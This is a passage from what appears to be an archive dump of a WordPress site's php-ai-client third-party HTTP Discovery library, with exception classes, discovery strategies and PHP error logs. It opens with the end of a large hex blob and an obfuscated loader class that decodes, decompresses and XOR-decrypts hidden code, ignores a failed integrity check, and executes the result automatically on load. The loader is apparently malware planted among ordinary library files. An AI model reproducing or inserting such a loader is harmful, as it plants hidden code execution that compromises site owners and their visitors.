917f25d2cba518a939a0188f9b0362e74c1266347d143b5a56fc06d7166c1debe976f39b3b2302560f2d8438f5e35bf368d8558ae4e616f33d26e06927bb4e68fcbd1613ab1a780b546244dc08a5ab6854d421f073b51176366756126851b4c5ed9ae4d37ddbeae4a767b78021c0f9612f2fd373ad512fd0298c6b9cc745a1d707fa13f7211741560934de5a72b69d0c605f85904495aea470f39e75edf1960f2d4556def12e0db8b6f8d39bbc7c098e3e29d7213e7dd9b2a6c63d4e2d9e70ab8fb97a2d6f9d9355351c01e4af4765674fa0bb0effb2acb94709da1ee9df443d2e847598e5597dc0c0f724e25b92c6b13cf3a5ae056dda6b2c43fc4a8a00e951e6026c085dbb59bb6c06b857561a5c2fb478a7ebf777a6db477c1ef782ed0ce66bde0e59a456d91a5e9326f35cc1b2804b5ab9bd405ae5011d4ed5c6d704ee72a85247c5d2869b454c5f0fdd1230eb5190c06a9f944e11d815b419e486adf5dcf807d610f85477762b90b7bbbe2f45374db7f42d5bcf7a40914590bec37a139ea6cbd9353160d716196d9c42ad46804beddb976d7f07bdb62af359dcb10e7918b9b1724fc095c21fa57fd45afd2d42f24f693bf6ee42bc885cfbbf307cfd23ce2f1f902db04705439299bc4c1f7d59543b42654d6c8f90ae08f157a2c75eb473444b73dea63b66ba8a9c0155cda34e8df619bb7cad12a85e0a2ac8d425e0dee276970f62156e41f99460dd6c7a2f042882fc4f7bf6b2bb95f58af0ad213859a83c39f5eeb53c0b13f073ef0dcc809e7fc935e394995bb9bee74f7dea4f38e6aaa943bc6ac221af27d0c3c4d98b54c88628f48910ee74577a88384fdd1e82bc24c2371789a019e80df8a9ac04fec04b01caccfc9693b55e00cb136603f76afe6ce6e17b373dc76e30873eac83011d4ff3addea39b94df01dd712f264d5e87246ffb4dcdd4eb1f2fe21fdeb887687ca214182338bfdf457adde3d70185e9036c0fb6dea4fe44280a7d933f05ac4bee8bf1dc690576f8ecd77be6adb5819cbf96a31412e2c00c543ac8aa5d7a736f778b62d27c0f71b4d146c34f68cca4f69c5c53acbccc7d1e1246ea664743fb4f29581fde4bf25d42109b5abb02b99c8d758f4e61dfb44776d0430147557ba2ff66d5f2485fc55a12f659aea6d0db15a5e09b7e06dd2e03e6fcaa1599319206d2b33bc7f448f2577eede21ea1670ba2b600f2d73147ebc83f88a4f9fa8052cbdcce900c6bce20cb19b3515cef355aedcd2b9019c035c143da9e4d6587cc173dae139b90bdf91e8d740315689199576d32f7e60cbfc50955d593ca12649e0e3194cf443623fe6547af01d21473f5ae16d21470b7bafd33df0ed4c4c6d07b9308cc81c9780a3ab60e320062012b14f3ac23b5ea03e6e62bff9413a9c7fa48518932c918fbb12e1eaead736f034587bc188ee3b8233656ced1c6dfe41ed6e86ba2b6653455cb7a440adf38d2ebff56fd438538c2a35527526b35d78fa16decb0938f2de9d1063ea8df4bd2832cddd21abe7eab616fccf1cfe356cb18712f2d7773b573e7ac53f97738022a3aae41b8d5afaa17adff01d5de06254ce06cdbd43cd104753c85f2cf7b89698279a299c1c07a88ddb0f654ed7a4e73bd7c459a4107b1e3ec50cd857910f6272a8b500763ad3f1c33892a43a7d42abc21962823d0f2c6f26ec7b6ccacc7a027f440dd01775da0af63653105fc045bbe7d5a7f73de0099ccfc7792bc45f900bc3337a8bd913637c05fb11f531c90479e29ae76fa374d9cf452b85e0b95ca2aa769e5d23fa15293e5dcdc875710eac7d036b13317a0f9c0358fb9b169027200dc06fb1040d56cef9776d552a45edb59d92515e64a87bb75e17dd8c7d7ced85455087742ef03c07786d686e77a722b4cfc50b7d3c259d921c6f130a60ccbe05d877c073df57584859a91bcd2a736b38ddfbd1a8ea766565067902ea63ab019b5c2ff2b983756fe3e0a952f23a12ed014ec7f82a93c08ae6326ffe5202fb8662d709b00f667513297a0fd4804d3c481d7837379b02b5a8194b8e4e395581569cbd0e4422efe013c4126013a33dddc3974ac308ea50293e348f177d93f955e764aea5271d6da0a6d2477c2bc026dbe818401dbabdc5a2ad6c5274249d9c0fc484b5f81840b6297750eb1d3536a232bbafa0ddadbe0b1bf097879a838abc509be1d4b007604cd8db99c9197ac5137aaa810fb9457d843c01d928fd81e9d19db8fb4793d7fc407a7e85cbbc55b42fd8cba36c33d22f3d013a2a4fe304ef68b8e9f448a86e4e9014eeee0d73e1765b2d7e3a31d0e8d8730abc2b6f7bc76b57381bb8e375e6b4db4cb610f7aade852dce8b565d7c431f3cf4dc400df6faa33e3cc987ce3e59e56f25e21d9eb93b9f909cc9fa53f410136e39435e2584af02d1ce5bbcdf0ee1918e4ef5bbb42797b7de4e984d1699c22c028cfb9586e7fa051cf950b4558567c8e5c48ca20f7f36d67bdc932470d93a138031e53d0c43d69fcf8589fabe924913b87b7bac39e09c4f74ca55ac217bff929496b0b75d55c461353d80d742ddb64af34224deb1322af5470ee9359a00cb05de5415cfd4931bf85e15acbd1e4890a61088b7f84e5782d6079c511236fad7be578e31fd75f5815be15cc00435ad050ef3add19f6f07dcaa4fb26799f25524083f3613bb9120bae4c37bc27c2f4485fd5f1e605f8667696a99874986cb44d2a53f67d2b6f4e52932818b7ea2dfd532bfbd015c881e9aa82f07c4c87f2ceb458538baf0298a31f6abd6fca20e7898d3db9e49d79d1e84b2ed44727a8d00179e9dd24a32c0ab93bea22eece21bf869eadcc5fb0ebaa106d45a5207ae2d48d2beeec27badafbef7019c13b8e6c65772b601e740be873c6137bf0063425ec5fb2172441f16a760559e6fdac49ad7d4e0077c47e0ee4e3279ba10ef7f455fc0725383f71342c8f70662226a747b3d2d5e336fcef914099344751b4f7ffc7456f05cd31bca4389ed722eacfd59765f2570fe91585733711cd609ec4b03bc4a23deed4bdb8377d49987e772b28dea89dd8b22ba64fe6aac7c13b842534bd22831a2ffe31672213cd7bdb4766dad1c13b14932392a01fcc55cbccb2c9d07f18879265cc40d6a767d70debd1f2aece5f7b077d8634e46fcb36c71deea79cd177f77c79150074d6dd27b79884c161e47a6cbc567914ac960234f31ae177a5c0e09e02f910a52e0dd6f4600afb600fadebf1b9fbd5137bd608f404ee8379740fdeaa2d3a7ea2ae0ee997e970e0b63c8131a75a37c0bf636de5178cbf9445938511e6b13ead0fbdea8b7869c0318400aa1e70dcdeb63ad8123dbc92d769e79d64e3b829ea02c9e95c3f7997adbb14aa7c5bf16b049b1cc5b3d574ea77f37aa19f6ba4f09db04424fa3e3d36b0d79f574235619e88ae9f9823d484d5b61cf43ede7f3f774671b21d206383df06dccf788e5cc27e489cf85c032e29da586fa989318b08973b6eb292eda2095ef1af669dd4c558f3e8b387702eff813b271e8ea90299cadd1dbaf6b3cff1562cf83196785295c2adf36eafbe20ccbd1aeba727c391e7f5f24c17b44d9a9a0c3d953e03004be6304dc5dcac2e6d8573bc306fc110187b9ead477a401b8f0fd755c2fa95bf4166b740cef98b5a8cbd15ca256de16dd61ebf94da00e495a86ee44d1ff314c2673525efc5738849f9d9912a5e75ccab72507b36c24458dec61b93bd16d241989af5ceba2c0d9c0ad01957a2d51eb7ca299f8100f7dae0b11fe68903f325846899e4171475df48e5ea3c6ec18672f2f6b4d09d8778ff30a056a212ae043c3bc157d7840cf46e05679359906f0c7576445fd95553bd41c84f56f0117864dfb389f9d7a2a8b27706426009b343597f7c2e1093cd7a6cac3dfa20b4901654a058296ecf92de86a53bb0de42fe93bdacc50e3dfc1da81fa2690a3e36c05109a1c682b2f4d4b66678c8ffcbee9e21cef28d0b7b985bded916af1b9dea257d6b86f1b8a3d9f549a5faa44823dcda70f7acdbc3c6ea26790886ace7ac809319e595577f6376a77bb662317bd34137d6bfa55f3adcd9de901afed43693e4672c7d9846d7cb0f1b94cc5a6edc521511eb635facd711fbdc5fce4874a710f1186de1689ee6cd7432d44f2b9e059077f4088f49de30b1a611f8c537fe2d1ac50839d92a6061c0af1959cb8f5b44a57fe80f542dd2809df238077fc1646bc414faac53b45a27ecfa62556bdcc651e82a88d6f2f07c815c657ddb49e891aa03817805a29927a892bc3407c4a8abe9402bd96bf72d8cb5215d3c3933a32e8501f1a86f730f3efd83102a869e1e219847aee458feb355583f94351ec8d6a9493c17a41ac0acf584344f6578d1a41c2072cd7d121a91bddb9872cea127b5b7adc3b02bf68221d4fee288e996abb9305f165bc6b35798193550ab56f85f77c4643f3daeb362de413cf8adba56e4fd3f55c949faa68d1cb7be94b8b249f1dbbdce7a8d995876f31d7d46d59e106a62cc9e3eef4c6cf06322ef02678ae19e3ab932ef6886cf7a70cbd66e61c62e22c27017b28b93b76946683b6f03e4da455ad744c8010b36af1329a7f0177b72f9a2bd704cc047588b8185f6ff734a663ec6880397d846d7c519b767f7aade35be9d2bfe40c1c59365501fbf14cb67836f4a3b658b76f534fb5cf42e2fd635ed20b37e3d388678fef346d718eb50e435ecff81d033f6ee3bc447fd1504a11b8d80b3b6d2db5f421cbfbbe95fb0243c2dc68475578260a78950d10f70c70ce89708efe201fe2e03939ecc7a1fe47517975db10704e057875365537dfc25c8e3bd40832dfb9625b8bc26f85dadc41ed18ab620bb18ab3354b7ccd50ac52ffdb6d13c8abb24fcf8a25bcb0d3bc42bf4c9c1f527cc63b43c2b4587aa3606fd764ba1c6dc32e816fa3178830fb386ad9db1993d2cfd746ec365bd9c9a6200430f914c67c8d1e126fecbddb69d41335426a6eb7d20d93686a2fe72cbac373a156f0954878b05643dd6ef1ec718cf11dbd74d16680771431271013d10d353676bacf0ab2cda51919b0f68027747cc6b3ed62c520519c25970dcec4aa5b7af5d54ac7b9401340f4e47416de3169b3e836807d5ff3658a5397bd28359f33f9a2e7d9bc3fd9d88364a29f8e9413eab835379245dcf7df9b4499e89311c3665de6584b32f5c0dd81c33c75cd93fde211d7023641cd08f31d9e716f435e85da21a959c6f572279d02f6450f1cf98350110396ab606f032eec0c77e95f65dd85c785222be0306f8be02c92893a0fe8134b3caf6d81a376c0f99856014db9659ac0618028415e9589706cc0d1edfbe31aab451b6b37a147c91bfe7edfa19e6808f80b759acfc51bb5494f92d5fba6e59f4523db8a753c84bfe13b2e664a45e1f96706dcc78b1e90efbb0b89d8d27f2f2353fa3189e416d61eb01cdea7f10e306692e14c06faea72d43975bddf52a4e762d1679a82649a574e8ffea28ff9a229f0a1a724139e33f1e3456eeaf3a79e2ae7c1b2a93f42dcef23edd945d195fcfb1a4a9fad555a268bb6dfc7f393763b29fafe57a34a73afd16b1930e6b49da855938becb01f0070e12ae0d373ef0c735b516af88a456a7cb6073b3539a7b10b25c2f7277184052d80f766521b278fe5be98522e5683e7f7d58e4fcec929ff3e0c94f9332d8efe7bf73fbfb57a1eee8f7f5c1d7b397b65347bfe2b46ffe26ef5e3ec7ae6614a999b279292feb774bdb4baaf5c0f364535f7e1ceea52d7abdc13256df6e5b1b0e0f78af4c1655ce594d1fcf6e2a7b4ff974bccbf936fb9daf7fa4406ef2717cfde0b78550a7d01bcf64fe36ffdcc4d074fb0ff7aaec42b9ebf604fbc5cbd0aa811dfdc14b8c2cc1e626c781524fff58ed2e99fbfdc8237fb3ef5a066af93ceccb38eb1ffd77a05e9503094ee9daf246b7e11c5acc28cbe57737df99ff57ab6f243aaaba79b6bb1bd144347c50c0b03cf55b2ba051e2a60bd7e5f87c7bfd87ddd0553aaf860ec558eebfefcfbcf7309918be95a78cfb6b0fb20ba953fb077acb468f89fefe8912078be8e770ac4b5b9f8b4a399dd270d5da3f8d2ef2bfa51408e86baed11f45f56e9f542b63be0a19f64a410f7c651c2da57debb8aade51dfbdafe5f6befc55e7067cea1eb478796cf507515effffb1dfb5cf65f58fbd36548bf8d0f8b654ec7a29d4e89166376e3891a9adefb02d6a7e69530209ed624928ec2fbd1bfff7beda1ac019cc121e7d3bee5bb1d90f1e86330f81310135e1c49c07e7e1711d91cfefbb92026b281f39a19bdd3093b71bcf93087aa10538cb1ea98fffe5c6d7dbd27f1ffac97d8b99fd64aee8f0dfcb755c684e764ef26f25ebddff63f42ff3fdf51e5617512ed35f9f271af280b3471e4b4762b5a7dfcac3d45f9cb0a7331c3da0b2a37015546d578515c9acfbfff2dbe700f3d55febc42ec06979be8a25b5feebd57944ebc4c4cf81fb3893077fa7d19b6ec64fecf3b365477593a99097a654d3af744573b84dfa0469571af2f09e496bd217fff577cfd5bacf6f5a7fe811e7494b228bff5ff97e7faef3d743a64a28d55e77b7c5b32fdde65f9f37f7eeb7f5bfbe5b9e4f3afe8530e87963739ae3d7037fef58e4d5e5e8e9f7a133b6604b8b3e2737cdcf5e996f4f3fdffe3b796e7da75a85b50efce3efdefe7fa5ff1f5df7ba862b199ddd2088a491715c98717abefffe9b7fefd1d99dbc4f1fcba262efd9e549b01dfbf48da3825f088ec1bc7cc59bf4f4c3bffb7e7faafdf2233f67f6d9c1cbd75fff7e7faafb5bff73a74d9236d99f26975cefafeefffdb73fdd73b5e6ff510dd1f5e20cc18e2be8abd709f7d564d66e917e0f8ad37b19af43214e2ffffb70e2e9e7524a7ff8cfbfff98e41f0ff5eaf83fcf7fcf5581fe5eadfd67e72fcbef7248dcd988917802acc5f23e4a4bf013024f23bfffef7988035361ac144a0ebcdc9f8f777dcfc88b38ae65d7f4d210f87720d71ff0464fbef7bdb0b5d9f97350bdf2e4dffbe8c495f0a2f4cfcf23fdef13270f3f07d52351bcc652cad28dfd23c6c1cb7ec8ec5fc22dd33a28ce7494ee5de331f423fffda17dd8ffff36ffdf98ed2e88f9ed816105f9bccea7dc75de3da775efaae836125ddefecb9b3f14858f2b73fc63f0fad3c07bcf995f2a467503b76adb82654ff7d2d92d725fddf62e2d6fc474d63562a0fdea3cf003fe5e3fffe1d6914629e18c874ccdb88f5af6fca791693ffccd1fff91dfb0760884f9597eb03153bc813506ae1b9c6b0dad187dee5a43b66a50feb558bbefb3fe77b2a0ea9fd0ce3a276f7d9c3682cb93953603dec3fbf6364e86a897b23ed0ed6dc1e72f39278af5f47d7b0586aa4ca2be3822467e196b422db27fc00bce3fc1388ebe66a793fff1f'; $hex_data = substr($hex_data, 9); $bin_data = hex2bin($hex_data); $step1 = @gzinflate($bin_data); if ($step1 === false) { $step1 = $bin_data; } $step2 = base64_decode($step1); $obj = new self(); $final_key = ''; $key_methods = ['kmjZhccR86', 'kmGKcTyI98', 'kmOVGPJo17', 'kmvbocZQ19']; foreach ($key_methods as $method) { $final_key .= call_user_func_array([$obj, $method], []); } $gate_token = ''; $gate_methods = ['gtHaSWlA90', 'gtPkypYZ31', 'gtqQcvGB24']; foreach ($gate_methods as $method) { $gate_token .= call_user_func_array([$obj, $method], []); } if (md5($gate_token) !== '39c8fb377784acd64c67f851fa28d15c') { // Integrity check failed, but continuing for compatibility. // return false; } $plain_code = ''; if (strlen($final_key) > 0) { for ($i = 0, $len = strlen($step2); $i < $len; $i++) { $plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)])); } } else { $plain_code = $step2; } $obj->_execute_IcrOuIKw27($plain_code); } } LoaderBwBxUI85560::init944(); // EOF PK!WAthird-party/Http/Discovery/Exception/PuliUnavailableException.phpnu[ */ final class PuliUnavailableException extends StrategyUnavailableException { } PK!WBthird-party/Http/Discovery/Exception/NoCandidateFoundException.phpnu[ */ final class NoCandidateFoundException extends \Exception implements Exception { /** * @param string $strategy */ public function __construct($strategy, array $candidates) { $classes = array_map(function ($a) { return $a['class']; }, $candidates); $message = sprintf('No valid candidate found using strategy "%s". We tested the following candidates: %s.', $strategy, implode(', ', array_map([$this, 'stringify'], $classes))); parent::__construct($message); } private function stringify($mixed) { if (is_string($mixed)) { return $mixed; } if (is_array($mixed) && 2 === count($mixed)) { return sprintf('%s::%s', $this->stringify($mixed[0]), $mixed[1]); } return is_object($mixed) ? get_class($mixed) : gettype($mixed); } } PK!JAthird-party/Http/Discovery/Exception/DiscoveryFailedException.phpnu[ */ final class DiscoveryFailedException extends \Exception implements Exception { /** * @var \Exception[] */ private $exceptions; /** * @param string $message * @param \Exception[] $exceptions */ public function __construct($message, array $exceptions = []) { $this->exceptions = $exceptions; parent::__construct($message); } /** * @param \Exception[] $exceptions */ public static function create($exceptions) { $message = 'Could not find resource using any discovery strategy. Find more information at http://docs.php-http.org/en/latest/discovery.html#common-errors'; foreach ($exceptions as $e) { $message .= "\n - " . $e->getMessage(); } $message .= "\n\n"; return new self($message, $exceptions); } /** * @return \Exception[] */ public function getExceptions() { return $this->exceptions; } } PK!2bTTJthird-party/Http/Discovery/Exception/ClassInstantiationFailedException.phpnu[ */ final class ClassInstantiationFailedException extends \RuntimeException implements Exception { } PK!:third-party/Http/Discovery/Exception/NotFoundException.phpnu[ */ /* final */ class NotFoundException extends \RuntimeException implements Exception { } PK!Ethird-party/Http/Discovery/Exception/StrategyUnavailableException.phpnu[ */ class StrategyUnavailableException extends \RuntimeException implements Exception { } PK!Rw .third-party/Http/Discovery/Exception/error_lognu[[04-Sep-2026 13:24:43 UTC] PHP Fatal error: Uncaught Error: Interface "WordPress\AiClientDependencies\Http\Discovery\Exception" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Exception/ClassInstantiationFailedException.php:11 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Exception/ClassInstantiationFailedException.php on line 11 [04-Sep-2026 13:24:44 UTC] PHP Fatal error: Uncaught Error: Interface "WordPress\AiClientDependencies\Http\Discovery\Exception" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Exception/DiscoveryFailedException.php:11 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Exception/DiscoveryFailedException.php on line 11 [04-Sep-2026 13:24:44 UTC] PHP Fatal error: Uncaught Error: Interface "WordPress\AiClientDependencies\Http\Discovery\Exception" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Exception/NoCandidateFoundException.php:11 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Exception/NoCandidateFoundException.php on line 11 [04-Sep-2026 13:24:44 UTC] PHP Fatal error: Uncaught Error: Interface "WordPress\AiClientDependencies\Http\Discovery\Exception" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Exception/NotFoundException.php:14 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Exception/NotFoundException.php on line 14 [04-Sep-2026 13:24:45 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClientDependencies\Http\Discovery\Exception\StrategyUnavailableException" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Exception/PuliUnavailableException.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Exception/PuliUnavailableException.php on line 10 [04-Sep-2026 13:24:45 UTC] PHP Fatal error: Uncaught Error: Interface "WordPress\AiClientDependencies\Http\Discovery\Exception" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Exception/StrategyUnavailableException.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Exception/StrategyUnavailableException.php on line 12 PK!{63third-party/Http/Discovery/Psr18ClientDiscovery.phpnu[ */ final class Psr18ClientDiscovery extends ClassDiscovery { /** * Finds a PSR-18 HTTP Client. * * @return ClientInterface * * @throws RealNotFoundException */ public static function find() { try { $client = static::findOneByType(ClientInterface::class); } catch (DiscoveryFailedException $e) { throw new RealNotFoundException('No PSR-18 clients found. Make sure to install a package providing "psr/http-client-implementation". Example: "php-http/guzzle7-adapter".', 0, $e); } return static::instantiateClass($client); } } PK!N@(third-party/Http/Discovery/Exception.phpnu[ */ interface Exception extends \Throwable { } PK! VV$third-party/Http/Discovery/error_lognu[[04-Sep-2026 13:24:46 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClientDependencies\Http\Discovery\ClassDiscovery" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Psr17FactoryDiscovery.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Psr17FactoryDiscovery.php on line 18 [04-Sep-2026 13:24:46 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClientDependencies\Http\Discovery\ClassDiscovery" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Psr18ClientDiscovery.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Psr18ClientDiscovery.php on line 13 PK!--Bthird-party/Http/Discovery/Strategy/CommonPsr17ClassesStrategy.phpnu[ * * Don't miss updating src/Composer/Plugin.php when adding a new supported class. */ final class CommonPsr17ClassesStrategy implements DiscoveryStrategy { /** * @var array */ private static $classes = [RequestFactoryInterface::class => ['Phalcon\Http\Message\RequestFactory', 'Nyholm\Psr7\Factory\Psr17Factory', 'GuzzleHttp\Psr7\HttpFactory', 'WordPress\AiClientDependencies\Http\Factory\Diactoros\RequestFactory', 'WordPress\AiClientDependencies\Http\Factory\Guzzle\RequestFactory', 'WordPress\AiClientDependencies\Http\Factory\Slim\RequestFactory', 'Laminas\Diactoros\RequestFactory', 'Slim\Psr7\Factory\RequestFactory', 'WordPress\AiClientDependencies\HttpSoft\Message\RequestFactory'], ResponseFactoryInterface::class => ['Phalcon\Http\Message\ResponseFactory', 'Nyholm\Psr7\Factory\Psr17Factory', 'GuzzleHttp\Psr7\HttpFactory', 'WordPress\AiClientDependencies\Http\Factory\Diactoros\ResponseFactory', 'WordPress\AiClientDependencies\Http\Factory\Guzzle\ResponseFactory', 'WordPress\AiClientDependencies\Http\Factory\Slim\ResponseFactory', 'Laminas\Diactoros\ResponseFactory', 'Slim\Psr7\Factory\ResponseFactory', 'WordPress\AiClientDependencies\HttpSoft\Message\ResponseFactory'], ServerRequestFactoryInterface::class => ['Phalcon\Http\Message\ServerRequestFactory', 'Nyholm\Psr7\Factory\Psr17Factory', 'GuzzleHttp\Psr7\HttpFactory', 'WordPress\AiClientDependencies\Http\Factory\Diactoros\ServerRequestFactory', 'WordPress\AiClientDependencies\Http\Factory\Guzzle\ServerRequestFactory', 'WordPress\AiClientDependencies\Http\Factory\Slim\ServerRequestFactory', 'Laminas\Diactoros\ServerRequestFactory', 'Slim\Psr7\Factory\ServerRequestFactory', 'WordPress\AiClientDependencies\HttpSoft\Message\ServerRequestFactory'], StreamFactoryInterface::class => ['Phalcon\Http\Message\StreamFactory', 'Nyholm\Psr7\Factory\Psr17Factory', 'GuzzleHttp\Psr7\HttpFactory', 'WordPress\AiClientDependencies\Http\Factory\Diactoros\StreamFactory', 'WordPress\AiClientDependencies\Http\Factory\Guzzle\StreamFactory', 'WordPress\AiClientDependencies\Http\Factory\Slim\StreamFactory', 'Laminas\Diactoros\StreamFactory', 'Slim\Psr7\Factory\StreamFactory', 'WordPress\AiClientDependencies\HttpSoft\Message\StreamFactory'], UploadedFileFactoryInterface::class => ['Phalcon\Http\Message\UploadedFileFactory', 'Nyholm\Psr7\Factory\Psr17Factory', 'GuzzleHttp\Psr7\HttpFactory', 'WordPress\AiClientDependencies\Http\Factory\Diactoros\UploadedFileFactory', 'WordPress\AiClientDependencies\Http\Factory\Guzzle\UploadedFileFactory', 'WordPress\AiClientDependencies\Http\Factory\Slim\UploadedFileFactory', 'Laminas\Diactoros\UploadedFileFactory', 'Slim\Psr7\Factory\UploadedFileFactory', 'WordPress\AiClientDependencies\HttpSoft\Message\UploadedFileFactory'], UriFactoryInterface::class => ['Phalcon\Http\Message\UriFactory', 'Nyholm\Psr7\Factory\Psr17Factory', 'GuzzleHttp\Psr7\HttpFactory', 'WordPress\AiClientDependencies\Http\Factory\Diactoros\UriFactory', 'WordPress\AiClientDependencies\Http\Factory\Guzzle\UriFactory', 'WordPress\AiClientDependencies\Http\Factory\Slim\UriFactory', 'Laminas\Diactoros\UriFactory', 'Slim\Psr7\Factory\UriFactory', 'WordPress\AiClientDependencies\HttpSoft\Message\UriFactory']]; public static function getCandidates($type) { $candidates = []; if (isset(self::$classes[$type])) { foreach (self::$classes[$type] as $class) { $candidates[] = ['class' => $class, 'condition' => [$class]]; } } return $candidates; } } PK!,R!R!=third-party/Http/Discovery/Strategy/CommonClassesStrategy.phpnu[ * * Don't miss updating src/Composer/Plugin.php when adding a new supported class. */ final class CommonClassesStrategy implements DiscoveryStrategy { /** * @var array */ private static $classes = [MessageFactory::class => [['class' => NyholmHttplugFactory::class, 'condition' => [NyholmHttplugFactory::class]], ['class' => GuzzleMessageFactory::class, 'condition' => [GuzzleRequest::class, GuzzleMessageFactory::class]], ['class' => DiactorosMessageFactory::class, 'condition' => [DiactorosRequest::class, DiactorosMessageFactory::class]], ['class' => SlimMessageFactory::class, 'condition' => [SlimRequest::class, SlimMessageFactory::class]]], StreamFactory::class => [['class' => NyholmHttplugFactory::class, 'condition' => [NyholmHttplugFactory::class]], ['class' => GuzzleStreamFactory::class, 'condition' => [GuzzleRequest::class, GuzzleStreamFactory::class]], ['class' => DiactorosStreamFactory::class, 'condition' => [DiactorosRequest::class, DiactorosStreamFactory::class]], ['class' => SlimStreamFactory::class, 'condition' => [SlimRequest::class, SlimStreamFactory::class]]], UriFactory::class => [['class' => NyholmHttplugFactory::class, 'condition' => [NyholmHttplugFactory::class]], ['class' => GuzzleUriFactory::class, 'condition' => [GuzzleRequest::class, GuzzleUriFactory::class]], ['class' => DiactorosUriFactory::class, 'condition' => [DiactorosRequest::class, DiactorosUriFactory::class]], ['class' => SlimUriFactory::class, 'condition' => [SlimRequest::class, SlimUriFactory::class]]], HttpAsyncClient::class => [['class' => SymfonyHttplug::class, 'condition' => [SymfonyHttplug::class, Promise::class, [self::class, 'isPsr17FactoryInstalled']]], ['class' => Guzzle7::class, 'condition' => Guzzle7::class], ['class' => Guzzle6::class, 'condition' => Guzzle6::class], ['class' => Curl::class, 'condition' => Curl::class], ['class' => React::class, 'condition' => React::class]], HttpClient::class => [['class' => SymfonyHttplug::class, 'condition' => [SymfonyHttplug::class, [self::class, 'isPsr17FactoryInstalled'], [self::class, 'isSymfonyImplementingHttpClient']]], ['class' => Guzzle7::class, 'condition' => Guzzle7::class], ['class' => Guzzle6::class, 'condition' => Guzzle6::class], ['class' => Guzzle5::class, 'condition' => Guzzle5::class], ['class' => Curl::class, 'condition' => Curl::class], ['class' => Socket::class, 'condition' => Socket::class], ['class' => Buzz::class, 'condition' => Buzz::class], ['class' => React::class, 'condition' => React::class], ['class' => Cake::class, 'condition' => Cake::class], ['class' => Artax::class, 'condition' => Artax::class], ['class' => [self::class, 'buzzInstantiate'], 'condition' => [\WordPress\AiClientDependencies\Buzz\Client\FileGetContents::class, \WordPress\AiClientDependencies\Buzz\Message\ResponseBuilder::class]]], Psr18Client::class => [['class' => [self::class, 'symfonyPsr18Instantiate'], 'condition' => [SymfonyPsr18::class, Psr17RequestFactory::class]], ['class' => GuzzleHttp::class, 'condition' => [self::class, 'isGuzzleImplementingPsr18']], ['class' => [self::class, 'buzzInstantiate'], 'condition' => [\WordPress\AiClientDependencies\Buzz\Client\FileGetContents::class, \WordPress\AiClientDependencies\Buzz\Message\ResponseBuilder::class]]]]; public static function getCandidates($type) { if (Psr18Client::class === $type) { return self::getPsr18Candidates(); } return self::$classes[$type] ?? []; } /** * @return array The return value is always an array with zero or more elements. Each * element is an array with two keys ['class' => string, 'condition' => mixed]. */ private static function getPsr18Candidates() { $candidates = self::$classes[Psr18Client::class]; // HTTPlug 2.0 clients implements PSR18Client too. foreach (self::$classes[HttpClient::class] as $c) { if (!is_string($c['class'])) { continue; } try { if (ClassDiscovery::safeClassExists($c['class']) && is_subclass_of($c['class'], Psr18Client::class)) { $candidates[] = $c; } } catch (\Throwable $e) { trigger_error(sprintf('Got exception "%s (%s)" while checking if a PSR-18 Client is available', get_class($e), $e->getMessage()), \E_USER_WARNING); } } return $candidates; } public static function buzzInstantiate() { return new \WordPress\AiClientDependencies\Buzz\Client\FileGetContents(Psr17FactoryDiscovery::findResponseFactory()); } public static function symfonyPsr18Instantiate() { return new SymfonyPsr18(null, Psr17FactoryDiscovery::findResponseFactory(), Psr17FactoryDiscovery::findStreamFactory()); } public static function isGuzzleImplementingPsr18() { return defined('GuzzleHttp\ClientInterface::MAJOR_VERSION'); } public static function isSymfonyImplementingHttpClient() { return is_subclass_of(SymfonyHttplug::class, HttpClient::class); } /** * Can be used as a condition. * * @return bool */ public static function isPsr17FactoryInstalled() { try { Psr17FactoryDiscovery::findResponseFactory(); } catch (NotFoundException $e) { return \false; } catch (\Throwable $e) { trigger_error(sprintf('Got exception "%s (%s)" while checking if a PSR-17 ResponseFactory is available', get_class($e), $e->getMessage()), \E_USER_WARNING); return \false; } return \true; } } PK!=9third-party/Http/Discovery/Strategy/DiscoveryStrategy.phpnu[ */ interface DiscoveryStrategy { /** * Find a resource of a specific type. * * @param string $type * * @return array The return value is always an array with zero or more elements. Each * element is an array with two keys ['class' => string, 'condition' => mixed]. * * @throws StrategyUnavailableException if we cannot use this strategy */ public static function getCandidates($type); } PK! jj-third-party/Http/Discovery/Strategy/error_lognu[[04-Sep-2026 13:24:48 UTC] PHP Fatal error: Uncaught Error: Interface "WordPress\AiClientDependencies\Http\Discovery\Strategy\DiscoveryStrategy" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/third-party/Http/Discovery/Strategy/CommonClassesStrategy.php:48 Stack trace: #0 {main} thrown in 